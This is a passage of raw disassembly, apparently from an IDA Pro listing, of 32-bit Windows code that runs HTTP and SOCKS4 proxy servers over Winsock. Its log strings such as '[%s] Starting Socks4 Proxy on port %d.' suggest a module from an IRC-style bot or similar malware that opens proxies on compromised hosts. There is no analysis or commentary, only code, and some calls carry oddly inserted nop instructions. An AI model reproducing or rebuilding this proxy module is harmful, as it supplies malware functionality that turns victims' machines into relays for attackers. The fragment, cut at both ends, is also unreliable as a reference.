		call	sub_401226


loc_4292FF:				; CODE XREF: sub_4282C0+191j
					; sub_4282C0+1AAj ...
		lea	ecx, [esp+1Ch+arg_10]
		mov	byte ptr [esp+1Ch+arg_5480], 1
		call	sub_401226


loc_429310:				; CODE XREF: sub_4282C0+85j
		lea	ecx, [esp+1Ch+var_8]
		mov	byte ptr [esp+1Ch+arg_5480], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_98]
		mov	[esp+1Ch+arg_5480], esi
		call	sub_4014B0
		jmp	loc_42928C
; ---------------------------------------------------------------------------


loc_429339:				; CODE XREF: sub_4282C0+503j
		mov	eax, [ebp+0BBh]
		push	eax
		nop
		call	near ptr 71AB9639h
		jmp	loc_4294AA
; ---------------------------------------------------------------------------


loc_42934B:				; CODE XREF: sub_4282C0+644j
		lea	ecx, [esp+2Ch+arg_9D]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+30h+var_18]
		push	offset aHttp1_0503Serv ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
		push	ecx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+2Ch+var_18]
		push	0
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+34h+var_18]
		call	sub_4017E4
		mov	edx, [ebp+0BBh]
		push	eax
		push	edx
		nop
		call	near ptr 71AB428Ah
		mov	eax, [ebp+0BBh]
		mov	esi, dword_50FC88
		push	eax
		call	esi	; closesocket
		mov	ecx, [ebp+0BFh]
		push	ecx
		jmp	loc_4294A8
; ---------------------------------------------------------------------------


loc_4293A8:				; CODE XREF: sub_4282C0+660j
		mov	edx, [esp+38h+arg_D0]
		lea	ecx, [esp+38h+arg_91]
		push	edx
		call	sub_4017E4
		push	eax
		lea	eax, [esp+40h+var_24]
		push	offset aHttp1_0503Se_0 ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+38h+var_24]
		push	0
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+40h+var_24]
		call	sub_4017E4
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		call	near ptr 71AB428Ah
		nop


loc_4293F2:				; CODE XREF: sub_4282C0+711j
					; sub_4282C0+719j
		mov	edx, [ebp+0BBh]
		mov	esi, dword_50FC88
		push	edx
		call	esi	; closesocket
		mov	eax, [ebp+0BFh]
		push	eax
		jmp	loc_4294A8
; ---------------------------------------------------------------------------


loc_42940D:				; CODE XREF: sub_4282C0+5EEj
		mov	ecx, [ebp+0BBh]
		push	ecx
		nop
		call	near ptr 71AB9639h
		jmp	loc_4294AA
; ---------------------------------------------------------------------------


loc_42941F:				; CODE XREF: sub_4282C0+73Fj
		lea	ecx, [esp+48h+arg_3C]
		mov	byte ptr [esp+48h+arg_5454], 0Dh
		call	sub_401226
		lea	ecx, [esp+48h+arg_14]
		mov	byte ptr [esp+48h+arg_5454], 0Ch
		call	sub_401226
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+48h+arg_5454], 2
		call	sub_401226
		lea	ecx, [esp+48h+var_18]
		mov	byte ptr [esp+48h+arg_5454], 1
		call	sub_401226
		lea	ecx, [esp+48h+var_34]
		mov	byte ptr [esp+48h+arg_5454], 0
		call	sub_401226
		lea	ecx, [esp+48h+arg_6C]
		mov	[esp+48h+arg_5454], ebx
		call	sub_4014B0
		or	esi, 0FFFFFFFFh
		jmp	loc_42928C
; ---------------------------------------------------------------------------


loc_429492:				; CODE XREF: sub_4282C0+D45j
					; sub_4282C0+D4Dj
		mov	ecx, [ebp+0BBh]
		mov	esi, dword_50FC88
		push	ecx
		call	esi	; closesocket
		mov	edx, [ebp+0BFh]
		push	edx


loc_4294A8:				; CODE XREF: sub_4282C0+10E3j
					; sub_4282C0+1148j
		call	esi	; closesocket


loc_4294AA:				; CODE XREF: sub_4282C0+1086j
					; sub_4282C0+115Aj
		lea	ecx, [esp+50h+arg_34]
		mov	byte ptr [esp+50h+arg_544C], 0Dh
		call	sub_401226
		lea	ecx, [esp+50h+arg_C]
		mov	byte ptr [esp+50h+arg_544C], 0Ch
		call	sub_401226
		lea	ecx, [esp+50h+var_8]
		mov	byte ptr [esp+50h+arg_544C], 2
		call	sub_401226
		lea	ecx, [esp+50h+var_20]
		mov	byte ptr [esp+50h+arg_544C], 1
		call	sub_401226
		lea	ecx, [esp+50h+var_3C]
		mov	byte ptr [esp+50h+arg_544C], 0
		call	sub_401226
		lea	ecx, [esp+50h+arg_64]
		mov	[esp+50h+arg_544C], ebx
		call	sub_4014B0
		jmp	loc_4292C4
sub_4282C0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 4A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4299C0	proc near		; CODE XREF: sub_4018DEj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4299C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F82
		push	offset aHttp_0	; "HTTP"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E15C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4299C0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_429A30:				; CODE XREF: ___:loc_40112Cj
					; ___:0040128Fj
		push	esi
		mov	esi, ecx
		call	sub_402108
		test	byte ptr [esp+8], 1
		jz	short loc_429A48
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_429A48:				; CODE XREF: ___:00429A3Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429A60	proc near		; CODE XREF: sub_402108j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+9Eh]
		mov	dword ptr [esi], offset	off_43E15C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_429A7B
		push	eax
		nop
		call	near ptr 71AB9639h


loc_429A7B:				; CODE XREF: sub_429A60+12j
		mov	ecx, esi
		call	sub_40179E
		pop	esi
		retn
sub_429A60	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429AA0	proc near		; CODE XREF: sub_4010E1j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_429AA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	edi
		mov	edi, ecx
		mov	dword ptr [edi+9Eh], 0FFFFFFFFh


loc_429AC3:				; CODE XREF: sub_429AA0+48j
		mov	eax, [edi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	short loc_429AEA
		mov	ecx, [edi+3Bh]
		push	ecx
		call	sub_40197E
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		mov	[edi+9Eh], eax
		jz	short loc_429AC3


loc_429AEA:				; CODE XREF: sub_429AA0+31j
		mov	edx, [edi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_429BBC
		push	ebp
		push	esi


loc_429B00:				; CODE XREF: sub_429AA0+114j
		mov	eax, [edi+9Eh]
		push	eax
		call	sub_4012DF
		mov	ebp, eax
		add	esp, 4
		cmp	ebp, 0FFFFFFFFh
		jz	loc_429B9B
		test	ebp, ebp
		jz	short loc_429B9B
		push	0C3h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+1Ch+var_10], eax
		test	eax, eax
		mov	[esp+1Ch+var_4], 0
		jz	short loc_429B46
		mov	ecx, eax
		call	sub_401884
		mov	esi, eax
		jmp	short loc_429B48
; ---------------------------------------------------------------------------


loc_429B46:				; CODE XREF: sub_429AA0+99j
		xor	esi, esi


loc_429B48:				; CODE XREF: sub_429AA0+A4j
		mov	ecx, [edi+99h]
		mov	[esi+9Dh], edi
		mov	[esi+99h], ecx
		mov	edx, [edi+3Bh]
		lea	eax, [edi+26h]
		lea	ecx, [esi+26h]
		push	eax
		mov	[esp+20h+var_4], 0FFFFFFFFh
		mov	[esi+3Bh], edx
		mov	[esi+0BBh], ebp
		call	sub_401FBE
		mov	cl, [edi+97h]
		mov	[esi+97h], cl
		mov	dl, [edi+98h]
		mov	ecx, esi
		mov	[esi+98h], dl
		call	sub_4013D4
		jmp	short loc_429BA6
; ---------------------------------------------------------------------------


loc_429B9B:				; CODE XREF: sub_429AA0+74j
					; sub_429AA0+7Cj
		push	0FAh
		nop
		call	near ptr 2801E3Fh


loc_429BA6:				; CODE XREF: sub_429AA0+F9j
		mov	eax, [edi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jnz	loc_429B00
		pop	esi
		pop	ebp


loc_429BBC:				; CODE XREF: sub_429AA0+58j
		mov	edi, [edi+9Eh]
		cmp	edi, 0FFFFFFFFh
		jz	short loc_429BCE
		push	edi
		call	near ptr 71AB9639h
		nop


loc_429BCE:				; CODE XREF: sub_429AA0+125j
		mov	ecx, [esp+14h+var_C]
		pop	edi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_429AA0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429C30	proc near		; CODE XREF: sub_40137Aj
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	al, [esi+9Dh]
		lea	edi, [esi+11h]
		test	al, al
		mov	eax, [esi+3Bh]
		lea	ebx, [esi+26h]
		push	eax
		mov	ecx, edi
		jz	short loc_429C58
		call	sub_4017E4
		push	eax
		push	offset aSStartingProxy ; "[%s] Starting	proxy on %d with SSL."
		jmp	short loc_429C63
; ---------------------------------------------------------------------------


loc_429C58:				; CODE XREF: sub_429C30+19j
		call	sub_4017E4
		push	eax
		push	offset aSStartingPro_0 ; "[%s] Starting	proxy on port %d."


loc_429C63:				; CODE XREF: sub_429C30+26j
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 1Ch
		mov	ecx, esi
		call	sub_4010E1
		mov	eax, [esi+3Bh]
		mov	ecx, edi
		push	eax
		call	sub_4017E4
		push	eax
		push	offset aSUnloadedProxy ; "[%s] Unloaded	proxy on port %d."
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 1Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_429C30	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429D00	proc near		; CODE XREF: sub_40211Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_429D00
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F82
		push	offset aSocks4	; "Socks4"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E16C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_429D00	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_429D70:				; CODE XREF: ___:00401870j
					; ___:loc_401B04j
		push	esi
		mov	esi, ecx
		call	sub_401F87
		test	byte ptr [esp+8], 1
		jz	short loc_429D88
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_429D88:				; CODE XREF: ___:00429D7Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_429DA0	proc near		; CODE XREF: sub_401F87j
		jmp	sub_40179E
sub_429DA0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429DC0	proc near		; CODE XREF: sub_4010AFj

var_81D		= byte ptr -81Dh
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= dword	ptr -814h
var_810		= dword	ptr -810h
var_80C		= dword	ptr -80Ch
var_808		= byte ptr -808h
var_807		= byte ptr -807h
var_806		= word ptr -806h
var_804		= dword	ptr -804h
var_800		= byte ptr -800h
var_400		= byte ptr -400h

		sub	esp, 820h
		lea	eax, [esp+820h+var_81D]
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_50FC90
		mov	ebp, ecx
		push	edi
		push	0
		push	1
		mov	ecx, [ebp+0A1h]
		push	eax
		push	ecx
		call	esi	; recv
		cmp	eax, 1
		jge	short loc_429E01
		mov	edx, [ebp+0A1h]
		push	edx
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_429E01:				; CODE XREF: sub_429DC0+27j
		cmp	[esp+830h+var_81D], 4
		jnz	loc_429FEC
		mov	ecx, [ebp+0A1h]
		push	0
		lea	eax, [esp+834h+var_807]
		push	406h
		push	eax
		push	ecx
		call	esi	; recv
		cmp	eax, 1
		jge	short loc_429E3E
		mov	edx, [ebp+0A1h]
		push	edx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_429E3E:				; CODE XREF: sub_429DC0+64j
		cmp	[esp+830h+var_807], 1
		jnz	loc_429FEC
		mov	cx, [esp+830h+var_806]
		mov	edx, [esp+830h+var_804]
		xor	eax, eax
		push	6
		mov	[esp+834h+var_818], eax
		push	1
		mov	[esp+838h+var_814], eax
		push	2
		mov	[esp+83Ch+var_810], eax
		mov	word ptr [esp+83Ch+var_818], 2
		mov	[esp+83Ch+var_80C], eax
		mov	word ptr [esp+83Ch+var_818+2], cx
		mov	[esp+83Ch+var_814], edx
		nop
		call	near ptr 71AB3B91h
		mov	ebx, eax
		lea	eax, [esp+830h+var_818]
		push	10h
		push	eax
		push	ebx
		call	near ptr 71AB406Ah
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esp+830h+var_808], 0
		jnz	short loc_429ED9
		mov	edx, [ebp+0A1h]
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+830h+var_800]
		mov	[esp+830h+var_807], 5Bh
		push	eax
		rep stosd
		lea	ecx, [esp+834h+var_808]
		push	8
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		mov	eax, [ebp+0A1h]
		push	eax
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_429ED9:				; CODE XREF: sub_429DC0+D8j
		mov	edx, [ebp+0A1h]
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+830h+var_800]
		mov	[esp+830h+var_807], 5Ah
		push	eax
		rep stosd
		lea	ecx, [esp+834h+var_808]
		push	8
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		mov	ecx, [ebp+0A1h]
		mov	esi, dword_50FC50
		lea	eax, [esp+830h+var_81C]
		mov	[esp+830h+var_81C], 1
		push	eax
		push	8004667Eh
		push	ecx
		call	esi	; ioctlsocket
		lea	edx, [esp+830h+var_81C]
		mov	[esp+830h+var_81C], 1
		push	edx
		push	8004667Eh
		push	ebx
		call	esi	; ioctlsocket


loc_429F36:				; CODE XREF: sub_429DC0+1AFj
					; sub_429DC0+1FEj ...
		mov	edi, dword_50FC90
		push	0
		lea	eax, [esp+834h+var_400]
		push	400h
		push	eax
		push	ebx
		call	edi	; recv
		mov	esi, eax
		test	esi, esi
		jz	loc_429FDA
		jge	short loc_429F71
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jz	short loc_429F71
		push	0Ah
		nop
		call	near ptr 2801E3Fh
		jmp	short loc_429F36
; ---------------------------------------------------------------------------


loc_429F71:				; CODE XREF: sub_429DC0+198j
					; sub_429DC0+1A5j
		mov	edx, [ebp+0A1h]
		push	0
		lea	ecx, [esp+834h+var_400]
		push	esi
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		mov	ecx, [ebp+0A1h]
		push	0
		lea	eax, [esp+834h+var_400]
		push	400h
		push	eax
		push	ecx
		call	edi	; recv
		mov	esi, eax
		test	esi, esi
		jz	short loc_429FDA
		jge	short loc_429FC3
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jz	short loc_429FC3
		push	0Ah
		call	near ptr 2801E3Fh
		nop
		jmp	loc_429F36
; ---------------------------------------------------------------------------


loc_429FC3:				; CODE XREF: sub_429DC0+1E7j
					; sub_429DC0+1F4j
		push	0
		lea	edx, [esp+834h+var_400]
		push	esi
		push	edx
		push	ebx
		call	near ptr 71AB428Ah
		nop
		jmp	loc_429F36
; ---------------------------------------------------------------------------


loc_429FDA:				; CODE XREF: sub_429DC0+192j
					; sub_429DC0+1E5j
		mov	eax, [ebp+0A1h]
		mov	esi, dword_50FC88
		push	eax
		call	esi	; closesocket
		push	ebx
		call	esi	; closesocket


loc_429FEC:				; CODE XREF: sub_429DC0+46j
					; sub_429DC0+83j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
sub_429DC0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A090	proc near		; CODE XREF: sub_40216Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42A090
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F82
		push	offset aSocks4	; "Socks4"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E17C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42A090	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A100	proc near		; CODE XREF: ___:00401032j sub_4017A8j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401C3A
		test	[esp+4+arg_0], 1
		jz	short loc_42A118
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42A118:				; CODE XREF: sub_42A100+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42A100	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42A130	proc near		; CODE XREF: sub_401C3Aj
		jmp	sub_40179E
sub_42A130	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A150	proc near		; CODE XREF: sub_40188Ej

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_42A150
		push	eax
		mov	large fs:0, esp
		sub	esp, 28h
		push	ebx
		push	esi
		mov	esi, ecx
		mov	eax, [esi+3Bh]
		lea	ecx, [esi+11h]
		push	eax
		lea	ebx, [esi+26h]
		call	sub_4017E4
		push	eax
		push	offset aSStartingSocks ; "[%s] Starting	Socks4 Proxy on	port %d."
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 1Ch
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+9Dh], eax
		jz	loc_42A359
		mov	cx, [esi+3Bh]
		xor	eax, eax
		mov	[esp+3Ch+var_2C], eax
		push	ecx
		mov	[esp+40h+var_28], eax
		mov	word ptr [esp+40h+var_2C], 2
		mov	[esp+40h+var_24], eax
		mov	[esp+40h+var_20], eax
		nop
		call	near ptr 71AB2B66h
		mov	word ptr [esp+3Ch+var_2C+2], ax
		mov	eax, [esi+9Dh]
		lea	edx, [esp+3Ch+var_2C]
		push	10h
		push	edx
		push	eax
		mov	[esp+48h+var_34], 10h
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jz	short loc_42A226
		mov	ecx, [esi+9Dh]
		push	ecx
		nop
		call	near ptr 71AB9639h
		pop	esi
		pop	ebx
		mov	ecx, [esp+34h+var_C]
		mov	large fs:0, ecx
		add	esp, 34h
		retn
; ---------------------------------------------------------------------------


loc_42A226:				; CODE XREF: sub_42A150+B6j
		mov	edx, [esi+99h]
		push	ebp
		push	edi
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_42A310


loc_42A23C:				; CODE XREF: sub_42A150+1BAj
		mov	eax, [esi+9Dh]
		push	0Ah
		push	eax
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42A260
		push	0FAh
		call	near ptr 2801E3Fh
		nop
		jmp	loc_42A2FC
; ---------------------------------------------------------------------------


loc_42A260:				; CODE XREF: sub_42A150+FEj
		mov	eax, [esi+9Dh]
		lea	ecx, [esp+40h+var_30]
		lea	edx, [esp+40h+var_18]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AC1028h
		mov	ebp, eax
		cmp	ebp, 0FFFFFFFFh
		jz	loc_42A310
		xor	edi, edi
		cmp	ebp, edi
		jz	loc_42A310
		push	0A5h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+44h+var_30], eax
		cmp	eax, edi
		mov	[esp+44h+var_4], edi
		jz	short loc_42A2AE
		mov	ecx, eax
		call	sub_40211C
		mov	edi, eax


loc_42A2AE:				; CODE XREF: sub_42A150+153j
		mov	ecx, [esi+99h]
		mov	[edi+9Dh], esi
		mov	[edi+99h], ecx
		mov	edx, [esi+3Bh]
		push	ebx
		lea	ecx, [edi+26h]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		mov	[edi+3Bh], edx
		mov	[edi+0A1h], ebp
		call	sub_401FBE
		mov	al, [esi+97h]
		mov	[edi+97h], al
		mov	cl, [esi+98h]
		mov	[edi+98h], cl
		mov	ecx, edi
		call	sub_4013D4


loc_42A2FC:				; CODE XREF: sub_42A150+10Bj
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jnz	loc_42A23C


loc_42A310:				; CODE XREF: sub_42A150+E6j
					; sub_42A150+12Cj ...
		mov	eax, [esi+9Dh]
		pop	edi
		cmp	eax, 0FFFFFFFFh
		pop	ebp
		jz	short loc_42A324
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42A324:				; CODE XREF: sub_42A150+1CBj
		mov	eax, [esi+3Bh]
		lea	ecx, [esi+11h]
		push	eax
		call	sub_4017E4
		push	eax
		push	offset aSUnloadedPro_0 ; "[%s] Unloaded	proxy on %d."
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 1Ch


loc_42A359:				; CODE XREF: sub_42A150+69j
		mov	ecx, [esp+3Ch+var_C]
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 34h
		retn
sub_42A150	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A400	proc near		; CODE XREF: sub_40174Ej

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		nop
		call	near ptr 71AB4FD4h
		test	eax, eax
		jz	short loc_42A421
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	ecx, [esp+arg_4]
		mov	eax, [edx]
		mov	[ecx], eax
		mov	al, 1
		retn	8
; ---------------------------------------------------------------------------


loc_42A421:				; CODE XREF: sub_42A400+Dj
		xor	al, al
		retn	8
sub_42A400	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A440	proc near		; CODE XREF: sub_4020C2j

var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_400		= byte ptr -400h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 50Ch
		push	ebx
		mov	ebx, [esp+510h+arg_4]
		push	ebp
		push	esi
		push	edi
		mov	[esp+51Ch+var_50C], 0
		mov	[esp+51Ch+var_508], 0


loc_42A461:				; CODE XREF: sub_42A440+12Cj
		mov	ebp, [esp+51Ch+arg_0]
		mov	[esp+51Ch+var_504], 1
		mov	[esp+51Ch+var_500], ebp
		xor	eax, eax
		lea	ecx, [esp+51Ch+var_500]


loc_42A47A:				; CODE XREF: sub_42A440+45j
		cmp	[ecx], ebx
		jz	short loc_42A487
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_42A47A


loc_42A487:				; CODE XREF: sub_42A440+3Cj
		cmp	eax, 1
		jnz	short loc_42A498
		mov	[esp+51Ch+var_4FC], ebx
		mov	[esp+51Ch+var_504], 2


loc_42A498:				; CODE XREF: sub_42A440+4Aj
		lea	eax, [esp+51Ch+var_50C]
		lea	ecx, [esp+51Ch+var_504]
		push	eax
		push	0
		push	0
		push	ecx
		push	2
		call	near ptr 71AB2DC0h
		nop
		test	eax, eax
		jbe	short loc_42A523
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42A523
		lea	edx, [esp+51Ch+var_504]
		push	edx
		push	ebp
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_42A4CC
		mov	eax, ebp
		mov	ebp, ebx
		jmp	short loc_42A4CE
; ---------------------------------------------------------------------------


loc_42A4CC:				; CODE XREF: sub_42A440+84j
		mov	eax, ebx


loc_42A4CE:				; CODE XREF: sub_42A440+8Aj
		push	0
		lea	ecx, [esp+520h+var_400]
		push	3FFh
		push	ecx
		push	eax
		call	near ptr 71AB615Ah
		nop
		mov	edi, eax
		xor	esi, esi
		cmp	edi, 0FFFFFFFFh
		mov	[esp+edi+51Ch+var_400],	0
		jz	short loc_42A572
		test	edi, edi
		jz	short loc_42A572
		jbe	short loc_42A51C


loc_42A4FB:				; CODE XREF: sub_42A440+DAj
		mov	edx, edi
		push	0
		sub	edx, esi
		lea	eax, [esp+esi+520h+var_400]
		push	edx
		push	eax
		push	ebp
		call	near ptr 71AB428Ah
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42A572
		add	esi, eax
		cmp	esi, edi
		jb	short loc_42A4FB


loc_42A51C:				; CODE XREF: sub_42A440+B9j
		mov	ebp, [esp+51Ch+arg_0]


loc_42A523:				; CODE XREF: sub_42A440+70j
					; sub_42A440+75j
		mov	[esp+51Ch+var_500], ebp
		mov	[esp+51Ch+var_504], 1
		xor	eax, eax
		lea	ecx, [esp+51Ch+var_500]


loc_42A535:				; CODE XREF: sub_42A440+100j
		cmp	[ecx], ebx
		jz	short loc_42A542
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_42A535


loc_42A542:				; CODE XREF: sub_42A440+F7j
		cmp	eax, 1
		jnz	short loc_42A554
		mov	[esp+eax*4+51Ch+var_500], ebx
		mov	eax, [esp+51Ch+var_504]
		inc	eax
		mov	[esp+51Ch+var_504], eax


loc_42A554:				; CODE XREF: sub_42A440+105j
		lea	ecx, [esp+51Ch+var_50C]
		lea	edx, [esp+51Ch+var_504]
		push	ecx
		push	edx
		push	0
		push	0
		push	2
		call	near ptr 71AB2DC0h
		nop
		test	eax, eax
		jle	loc_42A461


loc_42A572:				; CODE XREF: sub_42A440+B3j
					; sub_42A440+B7j ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 50Ch
		retn	8
sub_42A440	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A5F0	proc near		; CODE XREF: sub_401C1Cj

var_51C		= word ptr -51Ch
var_51A		= word ptr -51Ah
var_518		= dword	ptr -518h
var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_400		= dword	ptr -400h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 51Ch
		push	ebx
		push	ebp
